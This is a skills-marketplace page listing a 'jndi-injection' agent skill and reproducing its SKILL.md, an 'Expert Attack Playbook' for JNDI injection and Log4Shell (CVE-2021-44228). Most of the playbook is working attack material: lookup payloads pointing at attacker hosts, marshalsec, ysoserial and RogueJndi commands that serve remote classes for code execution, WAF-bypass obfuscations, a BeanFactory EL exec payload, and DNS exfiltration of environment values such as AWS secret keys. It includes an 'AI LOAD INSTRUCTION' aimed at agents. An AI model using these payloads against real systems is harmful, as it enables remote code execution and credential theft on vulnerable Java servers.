Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
yaklang avatar

Jndi Injection

  • 2.3k installs
  • 1.5k repo stars
  • Updated June 16, 2026
  • yaklang/hack-skills

jndi-injection is an agent skill that >-.

About

>- --- name: jndi-injection description: >- JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup(). --- # SKILL: JNDI Injection - Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization - this file clarifies the distinct attack surface. RELATED ROUTING - [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass path) - [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGNL expression evaluation --- ## 1. CORE MECHANISM JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA). **Vulnerability**: when `InitialContext.lookup(USER_INPUT)` receives an attacker-controlled.

  • SKILL: JNDI Injection - Expert Attack Playbook
  • [deserialization-insecure](../deserialization-insecure/SKILL.md) when JNDI leads to deserialization (post-8u191 bypass p
  • [expression-language-injection](../expression-language-injection/SKILL.md) when the JNDI sink is reached via SpEL or OGN
  • ysoserial JRMPListener approach:
  • Then JNDI lookup points to: rmi://attacker:1099/whatever

Jndi Injection by the numbers

  • 2,262 all-time installs (skills.sh)
  • +129 installs in the week ending Aug 4, 2026 (Skillselion tracking)
  • Ranked #358 of 2,153 Testing & QA skills by installs in the Skillselion catalog
  • Security screen: CRITICAL risk (skills.sh audit)
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

jndi-injection capabilities & compatibility

Capabilities
skill: jndi injection — expert attack playbook · [deserialization insecure](../deserialization in · [expression language injection](../expression la · ysoserial jrmplistener approach: · then jndi lookup points to: rmi://attacker:1099/
Use cases
documentation
From the docs

What jndi-injection says it does

--- name: jndi-injection description: >- JNDI injection playbook.
SKILL.md
Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().
SKILL.md
--- # SKILL: JNDI Injection — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert JNDI injection techniques.
SKILL.md
Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets.
SKILL.md
npx skills add https://github.com/yaklang/hack-skills --skill jndi-injection

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs2.3k
repo stars1.5k
Security audit0 / 3 scanners passed
Last updatedJune 16, 2026
Repositoryyaklang/hack-skills

What problem does jndi-injection solve for developers using this skill?

>-

Who is it for?

Developers who need jndi-injection patterns described in the cached skill documentation.

Skip if: Skip when docs are empty or the task is outside the skill's documented scope.

When should I use this skill?

>-

What you get

Actionable workflows and conventions from SKILL.md for jndi-injection.

  • exploit path documentation
  • JDK constraint notes
  • defensive hardening guidance

Files

SKILL.mdMarkdownGitHub ↗

SKILL: JNDI Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert JNDI injection techniques. Covers lookup mechanism abuse, RMI/LDAP class loading, JDK version constraints, Log4Shell (CVE-2021-44228), marshalsec tooling, and post-8u191 bypass via deserialization gadgets. Base models often confuse JNDI injection with general deserialization — this file clarifies the distinct attack surface.

0. RELATED ROUTING

  • deserialization-insecure when JNDI leads to deserialization (post-8u191 bypass path)
  • expression-language-injection when the JNDI sink is reached via SpEL or OGNL expression evaluation

---

1. CORE MECHANISM

JNDI (Java Naming and Directory Interface) provides a unified API for looking up objects from naming/directory services (RMI, LDAP, DNS, CORBA).

Vulnerability: when InitialContext.lookup(USER_INPUT) receives an attacker-controlled URL, the JVM connects to the attacker's server and loads/executes arbitrary code.

// Vulnerable code pattern:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

---

2. ATTACK VECTORS

RMI (Remote Method Invocation)

rmi://attacker.com:1099/Exploit

Attacker runs an RMI server returning a Reference object pointing to a remote class:

// Attacker's RMI server returns:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM downloads http://attacker.com/Exploit.class and instantiates it

LDAP

ldap://attacker.com:1389/cn=Exploit

Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

DNS (detection only)

dns://attacker-dns-server/lookup-name

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

---

3. JDK VERSION CONSTRAINTS AND BYPASS

JDK VersionRMI Remote ClassLDAP Remote ClassBypass
< 8u121YESYESDirect class loading
8u121 – 8u190NO (trustURLCodebase=false)YESUse LDAP vector
>= 8u191NONOReturn serialized gadget object via LDAP
>= 8u191 (alternative)NONOBeanFactory + EL injection

Post-8u191 Bypass: LDAP → Serialized Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.

# ysoserial JRMPListener approach:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# Then JNDI lookup points to: rmi://attacker:1099/whatever

Post-8u191 Bypass: BeanFactory + EL

When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:

javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

---

4. TOOLING

marshalsec — JNDI Reference Server

# Start LDAP server serving a remote class:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class

JNDI-Injection-Exploit (all-in-one)

java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# Automatically starts RMI + LDAP servers with multiple bypass strategies

Rogue JNDI

java -jar RogueJndi.jar --command "id" --hostname attacker.com
# Provides RMI, LDAP, and HTTP servers with auto-generated payloads

---

5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

Mechanism

Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup():

${jndi:ldap://attacker.com/x}

Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.

Detection Payloads

${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# Exfiltrate environment info via DNS:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}

WAF Bypass Variants

Log4j2's lookup parser is very flexible:

${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log Bypass (Advanced)

When WAF detects paired ${jndi:...} in a single request, split across two log entries:

# Request 1 (logged first):
X-Custom: ${jndi:ldap://attacker.com/
# Request 2 (logged second):
X-Custom: exploit}

If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.

Real-World Case: Solr Log4Shell

# Confirm via DNSLog — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# DNS hit with Java version = confirmed Log4Shell in Solr

Injection Points to Test

User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie values       URL path segments     POST body fields
Search queries      File upload names     Form field names
GraphQL variables   SOAP/XML elements     JSON values

Affected Versions

  • Log4j2 2.0-beta9 through 2.14.1
  • Fixed in 2.15.0 (partial), fully fixed in 2.17.0
  • Log4j 1.x is NOT affected (different lookup mechanism)

---

6. OTHER JNDI SINKS (BEYOND LOG4J)

Product / FrameworkSink
Spring FrameworkJndiTemplate.lookup()
Apache SolrConfig API, VelocityResponseWriter
Apache DruidVarious config endpoints
VMware vCenterMultiple endpoints
H2 Database ConsoleJNDI connection string
Fastjson@type + JdbcRowSetImpl.setDataSourceName()

---

7. TESTING METHODOLOGY

Suspected JNDI injection point?
├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}
│   └── DNS hit? → Confirmed JNDI evaluation
│
├── Determine JDK version:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── Start marshalsec LDAP server with remote class
│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE
│
├── JDK >= 8u191?
│   ├── LDAP → serialized gadget (need gadget chain on classpath)
│   ├── BeanFactory + EL (need Tomcat on classpath)
│   └── JRMPListener via ysoserial
│
└── WAF blocking ${jndi:...}?
    └── Try obfuscation: ${${lower:j}ndi:...}

---

8. QUICK REFERENCE

# Safe confirmation (DNS only):
${jndi:dns://TOKEN.collab.net}

# LDAP RCE (JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}

# Version exfiltration:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# Log4Shell with WAF bypass:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# Start LDAP reference server:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# Post-8u191 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

Related skills

How it compares

Use jndi-injection for JNDI lookup sinks; use deserialization-insecure when the primary vector is untrusted object deserialization.

FAQ

What does jndi-injection do?

>-

When should I use jndi-injection?

>-

Is jndi-injection safe to install?

Review the Security Audits panel on this page before installing in production.

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.